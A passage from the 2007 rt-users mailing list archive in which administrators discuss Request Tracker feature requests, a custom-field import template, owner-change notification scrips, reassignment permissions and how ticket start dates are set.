get it some traction in the organization I work for, it foundered on 3
points:

	* It didn't understand "customers".

	  The company I work for is in the computer service and support
	  business.  I need a ticketing system to have an integrated
	  'customer file' that keeps track of all the information about
	  a client, specifically including mapping incoming email
	  addresses to clients and auto-carboning the appropriate
	  client supervisory email.  RT didn't do that when I looked at
	  it last, and AT could be made to do it -- I thought -- but I
	  was already selling 'up-hill' and the loose integration was
	  something I couldn't overcome.

	* I needed a "what happened today" view for the boss -- showing 
	  all of today's ticket activity and status changes and total
	  time billable -- and there wasn't one, quite, and I wan't
	  smart enough to write it myself.

	* To work helpdesk with it efficiently, I sort of needed a way
	  to start keying in the notes on an empty screen, and then
	  figure out which ticket it applied to, and attach it, or
	  create a new one.

It's been over a year since I played with it; 3.2 timeframe, I think,
and I was wondering if anyone, BP or otherwise, has extended RT in any
of those direction.

I took a look at the website and the wiki... but I didn't find release
notes, or a feature list in sufficient detail to make me not have to
ask... and the screenshots are from 3.0.

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From bestpractical at jon.limedaley.com  Thu Feb  1 13:25:33 2007
From: bestpractical at jon.limedaley.com (Jon Daley)
Date: Thu, 1 Feb 2007 13:25:33 -0500 (EST)
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201175603.GB18831@cgi.jachomes.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
Message-ID: <Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>

 	I am not quite sure what you mean by the first one.

 	The "what happened today" is quite nice in the newer releases - 
you can take any search and save it on your home page - so as long as you 
can write a search (and pick which columns you want to display) you can 
get exactly what you want.

 	The last one, sounds like you need notepad/emacs...

On Thu, 1 Feb 2007, Jay R. Ashworth wrote:
> It's been a while since I've looked at RT.  The last time I tried to
> get it some traction in the organization I work for, it foundered on 3
> points:
>
> 	* It didn't understand "customers".
>
> 	  The company I work for is in the computer service and support
> 	  business.  I need a ticketing system to have an integrated
> 	  'customer file' that keeps track of all the information about
> 	  a client, specifically including mapping incoming email
> 	  addresses to clients and auto-carboning the appropriate
> 	  client supervisory email.  RT didn't do that when I looked at
> 	  it last, and AT could be made to do it -- I thought -- but I
> 	  was already selling 'up-hill' and the loose integration was
> 	  something I couldn't overcome.
>
> 	* I needed a "what happened today" view for the boss -- showing
> 	  all of today's ticket activity and status changes and total
> 	  time billable -- and there wasn't one, quite, and I wan't
> 	  smart enough to write it myself.
>
> 	* To work helpdesk with it efficiently, I sort of needed a way
> 	  to start keying in the notes on an empty screen, and then
> 	  figure out which ticket it applied to, and attach it, or
> 	  create a new one.


From kfh at mqsoftware.com  Thu Feb  1 14:18:06 2007
From: kfh at mqsoftware.com (Kelly F. Hickel)
Date: Thu, 1 Feb 2007 13:18:06 -0600
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
Message-ID: <63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>

The first one is a common requirement.  We have a database with all of
our customer details in it (ok, well, we have a db that nearly has all
the stuff in it and some of it is even correct).  We need to link a
ticket to a customer record, not to a person who happens to have been
employed by that customer at the time the defect was opened.  Ideally
Customers (which really means Companies that Have our products) would
have "persons" as sub records.

The idea is that a customer may have opened 10 tickets, but their
contact information and details about what database they're running,
what product(s) they are licensed for, what servers are located where,
what hardware they're running on, are all things that a person reviewing
a ticket needs access to, but you don't want to have to enter it for
each ticket.


With RT you can whip up some kind of url link or something, but there
really needs to be a nice clean interface to some place where the above
data is kept.

-- 

Kelly F. Hickel
Senior Software Architect
MQSoftware, Inc
952.345.8677
kfh at mqsoftware.com


> -----Original Message-----
> From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-
> bounces at lists.bestpractical.com] On Behalf Of Jon Daley
> Sent: Thursday, February 01, 2007 12:26 PM
> To: rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] RT State of the Onion?
> 
>  	I am not quite sure what you mean by the first one.
> 
>  	The "what happened today" is quite nice in the newer releases -
> you can take any search and save it on your home page - so as long as
> you
> can write a search (and pick which columns you want to display) you
> can
> get exactly what you want.
> 
>  	The last one, sounds like you need notepad/emacs...
> 
> On Thu, 1 Feb 2007, Jay R. Ashworth wrote:
> > It's been a while since I've looked at RT.  The last time I tried to
> > get it some traction in the organization I work for, it foundered on
> 3
> > points:
> >
> > 	* It didn't understand "customers".
> >
> > 	  The company I work for is in the computer service and support
> > 	  business.  I need a ticketing system to have an integrated
> > 	  'customer file' that keeps track of all the information about
> > 	  a client, specifically including mapping incoming email
> > 	  addresses to clients and auto-carboning the appropriate
> > 	  client supervisory email.  RT didn't do that when I looked at
> > 	  it last, and AT could be made to do it -- I thought -- but I
> > 	  was already selling 'up-hill' and the loose integration was
> > 	  something I couldn't overcome.
> >
> > 	* I needed a "what happened today" view for the boss -- showing
> > 	  all of today's ticket activity and status changes and total
> > 	  time billable -- and there wasn't one, quite, and I wan't
> > 	  smart enough to write it myself.
> >
> > 	* To work helpdesk with it efficiently, I sort of needed a way
> > 	  to start keying in the notes on an empty screen, and then
> > 	  figure out which ticket it applied to, and attach it, or
> > 	  create a new one.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com


From todd at chaka.net  Thu Feb  1 14:23:27 2007
From: todd at chaka.net (Todd Chapman)
Date: Thu, 1 Feb 2007 14:23:27 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201175603.GB18831@cgi.jachomes.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
Message-ID: <20070201192327.GO27974@erie.mg2.org>

On Thu, Feb 01, 2007 at 12:56:03PM -0500, Jay R. Ashworth wrote:
> It's been a while since I've looked at RT.  The last time I tried to
> get it some traction in the organization I work for, it foundered on 3
> points:
> 
> 	* It didn't understand "customers".
> 
> 	  The company I work for is in the computer service and support
> 	  business.  I need a ticketing system to have an integrated
> 	  'customer file' that keeps track of all the information about
> 	  a client, specifically including mapping incoming email
> 	  addresses to clients and auto-carboning the appropriate
> 	  client supervisory email.  RT didn't do that when I looked at
> 	  it last, and AT could be made to do it -- I thought -- but I
> 	  was already selling 'up-hill' and the loose integration was
> 	  something I couldn't overcome.
> 
> 	* I needed a "what happened today" view for the boss -- showing 
> 	  all of today's ticket activity and status changes and total
> 	  time billable -- and there wasn't one, quite, and I wan't
> 	  smart enough to write it myself.
> 
> 	* To work helpdesk with it efficiently, I sort of needed a way
> 	  to start keying in the notes on an empty screen, and then
> 	  figure out which ticket it applied to, and attach it, or
> 	  create a new one.
> 

Pay someone to do what you want. RT is fully customizable and
though most people don't realize it, it's real power is in it's
API. I'm sure BP/Jesse don't see the value in features that
will be used by a tiny percentage of RT users, so they made
RT a great base upon which your dream ticket system can be
built.

-Todd


From pwood at christianbook.com  Thu Feb  1 14:47:53 2007
From: pwood at christianbook.com (Peter Wood)
Date: Thu, 1 Feb 2007 14:47:53 -0500
Subject: [rt-users] Re: Getting data from Excel into RT?
Message-ID: <E0F0BBC78185F94D8608A18CFC37FA23060AE095@raptor.cbdadmin.com>



> I found 
> http://wiki.bestpractical.com/index.cgi?ManualApprovals as a good
> source for the format you are looking for, it gives a list of 
> Acceptable
> fields.

Cool, this provides some direction. One thing I haven't been able to
glean is whether it is possible to include CustomFields in such a
template... Is this possible?


From jra at baylink.com  Thu Feb  1 15:10:47 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Thu, 1 Feb 2007 15:10:47 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
Message-ID: <20070201201047.GC19251@cgi.jachomes.com>

On Thu, Feb 01, 2007 at 01:18:06PM -0600, Kelly F. Hickel wrote:
> The first one is a common requirement.  We have a database with all of
> our customer details in it (ok, well, we have a db that nearly has all
> the stuff in it and some of it is even correct).  We need to link a
> ticket to a customer record, not to a person who happens to have been
> employed by that customer at the time the defect was opened.  Ideally
> Customers (which really means Companies that Have our products) would
> have "persons" as sub records.
> 
> The idea is that a customer may have opened 10 tickets, but their
> contact information and details about what database they're running,
> what product(s) they are licensed for, what servers are located where,
> what hardware they're running on, are all things that a person reviewing
> a ticket needs access to, but you don't want to have to enter it for
> each ticket.

And, just as much, that you should be able to see "all tickets open for
this customer" so that you can tell whether an incoming call applies to
one of them, or is something new -- which speaks to my third point.

Thank you, Kelly.  Everyone else's reactions to "customer file" were
beginning to make me think *I* was nutsabago.

> With RT you can whip up some kind of url link or something, but there
> really needs to be a nice clean interface to some place where the above
> data is kept.

And, as noted, *some* of that can be done with, say, AT... but I don't
think you can do all of it.

I don't know, because I don't seem to be able to get a good look at 3.6
without installing the damned thing.

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From Steve_McStravick at BreconRidge.com  Thu Feb  1 15:15:21 2007
From: Steve_McStravick at BreconRidge.com (Steve_McStravick at BreconRidge.com)
Date: Thu, 1 Feb 2007 15:15:21 -0500
Subject: [rt-users] Re: Getting data from Excel into RT?
In-Reply-To: <E0F0BBC78185F94D8608A18CFC37FA23060AE095@raptor.cbdadmin.com>
Message-ID: <OF5F20D89B.33C6DC77-ON85257275.006E6EF9-85257275.006F4533@breconridge.com>





CustomField-<id#>: <the custom field value>

To find the custom field id# you can go to the Configuration->Custom Fields
pages, and hover over the custom field to see the link in the status bar or
right-click to view the link properties.  The # at the end is your id#!

e.g.

===Create-Ticket: 3466
Queue: Phone Requests
Subject: I need a phone at my desk
Status: open
Started: 01-SEP-06
Owner: mr_telephone_guy
Requestor: myname at foo-bar.com
InitialPriority: 80
CustomField-41: 1-800-555-0000
CustomField-2: Voip
CustomField-1: Marketing_Group
ContentType: text/plain
I need a phone and I need it now!
ENDOFCONTENT



Steve

http://<RT-Server>/Admin/CustomFields/Modify.html?id=3



>Cool, this provides some direction. One thing I haven't been able to
>glean is whether it is possible to include CustomFields in such a
>template... Is this possible?




From jesse at bestpractical.com  Thu Feb  1 15:46:15 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 1 Feb 2007 15:46:15 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201201047.GC19251@cgi.jachomes.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
	<20070201201047.GC19251@cgi.jachomes.com>
Message-ID: <20070201204615.GV25008@bestpractical.com>


> 
> Thank you, Kelly.  Everyone else's reactions to "customer file" were
> beginning to make me think *I* was nutsabago.
> 

Nope. It's a perfectly reasonable feature request. We've specced it out
for customers several times.  To do it "reasonably" as part of RT
requires that RT own your customer database, which it generally sounds
like the folks who've been looking for this on the list aren't willing
to have happen.

We'd probably model it as RT groups, so that you could usefully model
who's part of which customer.  The big "hard" bits are probably setting
RT up to not mail everyone from a customer on every issue ;)


From jra at baylink.com  Thu Feb  1 16:04:47 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Thu, 1 Feb 2007 16:04:47 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201204615.GV25008@bestpractical.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
	<20070201201047.GC19251@cgi.jachomes.com>
	<20070201204615.GV25008@bestpractical.com>
Message-ID: <20070201210447.GB19530@cgi.jachomes.com>

On Thu, Feb 01, 2007 at 03:46:15PM -0500, Jesse Vincent wrote:
> > Thank you, Kelly.  Everyone else's reactions to "customer file" were
> > beginning to make me think *I* was nutsabago.
> 
> Nope. It's a perfectly reasonable feature request. We've specced it out
> for customers several times.  To do it "reasonably" as part of RT
> requires that RT own your customer database, which it generally sounds
> like the folks who've been looking for this on the list aren't willing
> to have happen.

For my own part, I'd be perfectly willing to deal with that.

I can't speak to *everyone* that's wanted it, but I don't know that
that was ever stated that explicitly before -- though I sort of
inferred it.

> We'd probably model it as RT groups, so that you could usefully model
> who's part of which customer.  The big "hard" bits are probably setting
> RT up to not mail everyone from a customer on every issue ;)

Yeah.

I should assume that either none of the people for whom you've specced
it took it, or that they all took it on a commercial-only license?

On an only vaguely related topic: are there any current screenshots
anywhere?  Did that MIT manual I remember, perhaps, get updated to 3.6?

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From nmetrowsky at digitalglobe.com  Thu Feb  1 16:10:25 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Thu, 1 Feb 2007 14:10:25 -0700
Subject: [rt-users] RT 3.6.3: Chaning Orrder by setting in highest priority
	tickets/newwest unowned tickets
Message-ID: <C1BF1C58F42A304A899E2933C220F48AAE7AC5@COMAIL02.digitalglobe.com>

Hi Everyone,

 

I am wondering if this is a bug or a feature of RT 3.6.3. When a user
tries to change "Priority" in "Order by" for "highest priority tickets I
own" and/or change "Created" in "Order by" for "newest unowned tickets",
the change does not take. That is, it returned to the original setting.
I know, in these two cases, that these setting are in the system wide
definitions for these two fields. As a normal user does not see "You can
also edit the predefined search itself:", this is available only to
Super User and I certainly do not want to give that privilege out to
everyone of my users.

 

Is what I am seeing normal behavior? I was under the impression that
when a user made a change to these settings that the information was
stored in their own copy of a predefined search. RT is acting as if the
user cannot override the first value in "Order by". I gave users
permissions to Modify Self, and to change, edit and view saved searches.
Is there another permission they need?

 

Thank you for your time.

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

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From jesse at bestpractical.com  Thu Feb  1 16:13:10 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 1 Feb 2007 16:13:10 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201210447.GB19530@cgi.jachomes.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
	<20070201201047.GC19251@cgi.jachomes.com>
	<20070201204615.GV25008@bestpractical.com>
	<20070201210447.GB19530@cgi.jachomes.com>
Message-ID: <20070201211310.GX25008@bestpractical.com>


> 
> I can't speak to *everyone* that's wanted it, but I don't know that
> that was ever stated that explicitly before -- though I sort of
> inferred it.
> 
> > We'd probably model it as RT groups, so that you could usefully model
> > who's part of which customer.  The big "hard" bits are probably setting
> > RT up to not mail everyone from a customer on every issue ;)
> 
> Yeah.
> 
> I should assume that either none of the people for whom you've specced
> it took it, or that they all took it on a commercial-only license?

We go to lengths to make sure everything we build is freely releasable.
(Sometimes it doesn't happen, but we try hard.)  This isn't soemthing
we've built yet.


From jra at baylink.com  Thu Feb  1 16:16:28 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Thu, 1 Feb 2007 16:16:28 -0500
Subject: [rt-users] RT State of the Onion?
In-Reply-To: <20070201211310.GX25008@bestpractical.com>
References: <20070201175603.GB18831@cgi.jachomes.com>
	<Pine.LNX.4.64.0702011323100.29914@orange.limedaley.com>
	<63BEA5E623E09F4D92233FB12A9F794397B1D5@emailmn.mqsoftware.com>
	<20070201201047.GC19251@cgi.jachomes.com>
	<20070201204615.GV25008@bestpractical.com>
	<20070201210447.GB19530@cgi.jachomes.com>
	<20070201211310.GX25008@bestpractical.com>
Message-ID: <20070201211628.GD19530@cgi.jachomes.com>

On Thu, Feb 01, 2007 at 04:13:10PM -0500, Jesse Vincent wrote:
> > I can't speak to *everyone* that's wanted it, but I don't know that
> > that was ever stated that explicitly before -- though I sort of
> > inferred it.
> > 
> > > We'd probably model it as RT groups, so that you could usefully model
> > > who's part of which customer.  The big "hard" bits are probably setting
> > > RT up to not mail everyone from a customer on every issue ;)
> > 
> > Yeah.
> > 
> > I should assume that either none of the people for whom you've specced
> > it took it, or that they all took it on a commercial-only license?
> 
> We go to lengths to make sure everything we build is freely releasable.
> (Sometimes it doesn't happen, but we try hard.)  This isn't something
> we've built yet.

Got it.  I so assumed, since we don't see it (:-), but the
clarification is noce.

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From nmetrowsky at digitalglobe.com  Thu Feb  1 16:31:17 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Thu, 1 Feb 2007 14:31:17 -0700
Subject: [rt-users] RT 3.6.3: Informing Requestor when Ticket Ownership
	changes
Message-ID: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com>

Hi Everyone,

 

Anyone know the procedure to set things up such that when the ticket
owner is changes, that the requestor is sent an e-mail message so they
know who is working their request? I thought of using the "Watcher"
permission, but it seems to only work on reply to ticket. 

 

Any ideas would be welcome.

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

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From todd at chaka.net  Thu Feb  1 16:33:34 2007
From: todd at chaka.net (Todd Chapman)
Date: Thu, 1 Feb 2007 16:33:34 -0500
Subject: [rt-users] RT 3.6.3: Informing Requestor when Ticket Ownership
	changes
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com>
References: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com>
Message-ID: <20070201213334.GD11914@erie.mg2.org>

You can do that with scrips. No custom code needed either.

On Thu, Feb 01, 2007 at 02:31:17PM -0700, Nick Metrowsky wrote:
> Hi Everyone,
> 
>  
> 
> Anyone know the procedure to set things up such that when the ticket
> owner is changes, that the requestor is sent an e-mail message so they
> know who is working their request? I thought of using the "Watcher"
> permission, but it seems to only work on reply to ticket. 
> 
>  
> 
> Any ideas would be welcome.
> 
>  
> 
> Nick
> 
>  
> 
> ------------------------------------------------------------------------
> ---------
> 
> Nick Metrowsky
> 
> Consulting System Administrator
> 
> 303-684-4785 Office
> 
> 303-684-4100 Fax
> 
> nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 
> 
> DigitalGlobe (r), An Imaging and Information Company
> 
> http://www.digitalglobe.com <http://www.digitalglobe.com> 
> 
> ------------------------------------------------------------------------
> ---------
> 
>  
> 

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From sturner at MIT.EDU  Thu Feb  1 16:39:31 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 01 Feb 2007 16:39:31 -0500
Subject: [rt-users] RT 3.6.3: Informing Requestor when Ticket Ownership
	changes
In-Reply-To: <20070201213334.GD11914@erie.mg2.org>
References: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com>
	<20070201213334.GD11914@erie.mg2.org>
Message-ID: <45C25E13.4050205@mit.edu>

Todd Chapman wrote:
> You can do that with scrips. No custom code needed either.
> 
> On Thu, Feb 01, 2007 at 02:31:17PM -0700, Nick Metrowsky wrote:
>> Hi Everyone,
>>
>>  
>>
>> Anyone know the procedure to set things up such that when the ticket
>> owner is changes, that the requestor is sent an e-mail message so they
>> know who is working their request? I thought of using the "Watcher"
>> permission, but it seems to only work on reply to ticket. 
>>
>>  
>>
>> Any ideas would be welcome.
>>
>>  
>>
>> Nick
>>
>>  

The owner change condition may fire when the owner is set to Nobody (I'm 
not sure). You might not want to send the customer a message saying 
"Nobody has been assigned to work on your request". If that's the case, 
you may need some custom condition code.

Steve



From nmetrowsky at digitalglobe.com  Thu Feb  1 17:25:10 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Thu, 1 Feb 2007 15:25:10 -0700
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
Message-ID: <C1BF1C58F42A304A899E2933C220F48AAE7B14@COMAIL02.digitalglobe.com>

Hi Everyone,

 

I have Super User and I cannot change the ownership of a ticket from one
person to another. I get an error "You can only take tickets that are
unowned" or "You can only reassign tickets that you own or that are
unowned". This is definitely a different behavior than that of RT 3.4.4.


 

Any ideas on this one?

 

Nick

 

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

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From jasonm at kelman.com  Thu Feb  1 18:05:47 2007
From: jasonm at kelman.com (Jason Marshall)
Date: Thu, 1 Feb 2007 16:05:47 -0700 (MST)
Subject: [rt-users] Set started date upon opening+owning of a ticket
Message-ID: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>

I'd like to set up RT so that the started date is automatically entered 
into the ticket once the ticket is owned by someone, and opened.

>From what I can tell, the started date is filled in automagically, but 
only when someone replies to the ticket (there may be other 
circumstances).

I'm sure I'll need some sort of scrip for this, but I have no idea what to 
put in the user-defined parts to make it 'go'.

Thanks in advance!

---
Jason Marshall, Unix Geek, Kelman Technologies, Inc., Calgary, AB, Canada.

   From a Sun Microsystems bug report (#4102680):
     "Workaround: don't pound on the mouse like a wild monkey."

   "I have great faith in fools:
      Self confidence my friends call it."  -Edgar Allan Poe



From ruslan.zakirov at gmail.com  Thu Feb  1 18:50:44 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 2 Feb 2007 02:50:44 +0300
Subject: [rt-users] Set started date upon opening+owning of a ticket
In-Reply-To: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>
References: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>
Message-ID: <589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>

Started date is set to now during status change from 'new' to any not
'new' value. So if you're using an 'auto open' on correspond scrip
then it's set on correspond, however if somebody open it before any
correspond then it's also set.

Try next tests:
* create a ticket, click the open action and look on the dates box
* create a ticket, click the resolve action and look on the dates box

This is how it works since 3.0 may be, at least this is true for 3.4
and greater.

On 2/2/07, Jason Marshall <jasonm at kelman.com> wrote:
> I'd like to set up RT so that the started date is automatically entered
> into the ticket once the ticket is owned by someone, and opened.
>
> >From what I can tell, the started date is filled in automagically, but
> only when someone replies to the ticket (there may be other
> circumstances).
>
> I'm sure I'll need some sort of scrip for this, but I have no idea what to
> put in the user-defined parts to make it 'go'.
>
> Thanks in advance!
>
> ---
> Jason Marshall, Unix Geek, Kelman Technologies, Inc., Calgary, AB, Canada.
>
>    From a Sun Microsystems bug report (#4102680):
>      "Workaround: don't pound on the mouse like a wild monkey."
>
>    "I have great faith in fools:
>       Self confidence my friends call it."  -Edgar Allan Poe
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From KFCrocker at lbl.gov  Thu Feb  1 19:02:19 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 01 Feb 2007 16:02:19 -0800
Subject: [rt-users] RT 3.6.3: Informing Requestor when Ticket Ownership
	changes
In-Reply-To: <45C25E13.4050205@mit.edu>
References: <C1BF1C58F42A304A899E2933C220F48AAE7AD3@COMAIL02.digitalglobe.com>
	<20070201213334.GD11914@erie.mg2.org> <45C25E13.4050205@mit.edu>
Message-ID: <45C27F8B.7010906@lbl.gov>

We used this simple code - return ( $TicketObj->OwnerObj->Name() ne 
'Nobody' );
That does it for us

Kenn Crocker
LBNL
Stephen Turner wrote:
> Todd Chapman wrote:
>> You can do that with scrips. No custom code needed either.
>>
>> On Thu, Feb 01, 2007 at 02:31:17PM -0700, Nick Metrowsky wrote:
>>> Hi Everyone,
>>>
>>>  
>>>
>>> Anyone know the procedure to set things up such that when the ticket
>>> owner is changes, that the requestor is sent an e-mail message so they
>>> know who is working their request? I thought of using the "Watcher"
>>> permission, but it seems to only work on reply to ticket.
>>>  
>>>
>>> Any ideas would be welcome.
>>>
>>>  
>>>
>>> Nick
>>>
>>>  
> 
> The owner change condition may fire when the owner is set to Nobody (I'm 
> not sure). You might not want to send the customer a message saying 
> "Nobody has been assigned to work on your request". If that's the case, 
> you may need some custom condition code.
> 
> Steve
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy 
> a copy at http://rtbook.bestpractical.com
> 


From KFCrocker at lbl.gov  Thu Feb  1 18:59:23 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 01 Feb 2007 15:59:23 -0800
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B14@COMAIL02.digitalglobe.com>
References: <C1BF1C58F42A304A899E2933C220F48AAE7B14@COMAIL02.digitalglobe.com>
Message-ID: <45C27EDB.1080206@lbl.gov>

Nick,


	No, it is not. We use  3.4.4 and we have always had to take a ticket 
before we could re-assign it.

Kenn Crocker
LBNL

Nick Metrowsky wrote:
> Hi Everyone,
> 
>  
> 
> I have Super User and I cannot change the ownership of a ticket from one 
> person to another. I get an error ?You can only take tickets that are 
> unowned? or ?You can only reassign tickets that you own or that are 
> unowned?. This is definitely a different behavior than that of RT 3.4.4.
> 
>  
> 
> Any ideas on this one?
> 
>  
> 
> Nick
> 
>  
> 
> *---------------------------------------------------------------------------------*
> 
> *Nick Metrowsky***
> 
> *Consulting System Administrator***
> 
> *303-684-4785 Office***
> 
> *303-684-4100 Fax***
> 
> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
> 
> *DigitalGlobe ?, An Imaging and Information Company*
> 
> *http://www.digitalglobe.com*
> 
> *---------------------------------------------------------------------------------*
> 
>  
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From ruslan.zakirov at gmail.com  Thu Feb  1 21:17:22 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 2 Feb 2007 05:17:22 +0300
Subject: [rt-users] Set started date upon opening+owning of a ticket
In-Reply-To: <589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>
References: <Pine.LNX.4.63.0702011601560.26514@helium.kelman.com>
	<589c94400702011550m58a63bboc5fee2db71ebc915@mail.gmail.com>
Message-ID: <589c94400702011817qad823b6m3479ac64f46372b@mail.gmail.com>

Added to the wiki TicketDates.

On 2/2/07, Ruslan Zakirov <ruslan.zakirov at gmail.com> wrote:
> Started date is set to now during status change from 'new' to any not
> 'new' value. So if you're using an 'auto open' on correspond scrip
> then it's set on correspond, however if somebody open it before any
> correspond then it's also set.
>
> Try next tests:
> * create a ticket, click the open action and look on the dates box
> * create a ticket, click the resolve action and look on the dates box
>
> This is how it works since 3.0 may be, at least this is true for 3.4
> and greater.
>
> On 2/2/07, Jason Marshall <jasonm at kelman.com> wrote:
> > I'd like to set up RT so that the started date is automatically entered
> > into the ticket once the ticket is owned by someone, and opened.
> >
> > >From what I can tell, the started date is filled in automagically, but
> > only when someone replies to the ticket (there may be other
> > circumstances).
> >
> > I'm sure I'll need some sort of scrip for this, but I have no idea what to
> > put in the user-defined parts to make it 'go'.
> >
> > Thanks in advance!
> >
> > ---
> > Jason Marshall, Unix Geek, Kelman Technologies, Inc., Calgary, AB, Canada.
> >
> >    From a Sun Microsystems bug report (#4102680):
> >      "Workaround: don't pound on the mouse like a wild monkey."
> >
> >    "I have great faith in fools:
> >       Self confidence my friends call it."  -Edgar Allan Poe
> >
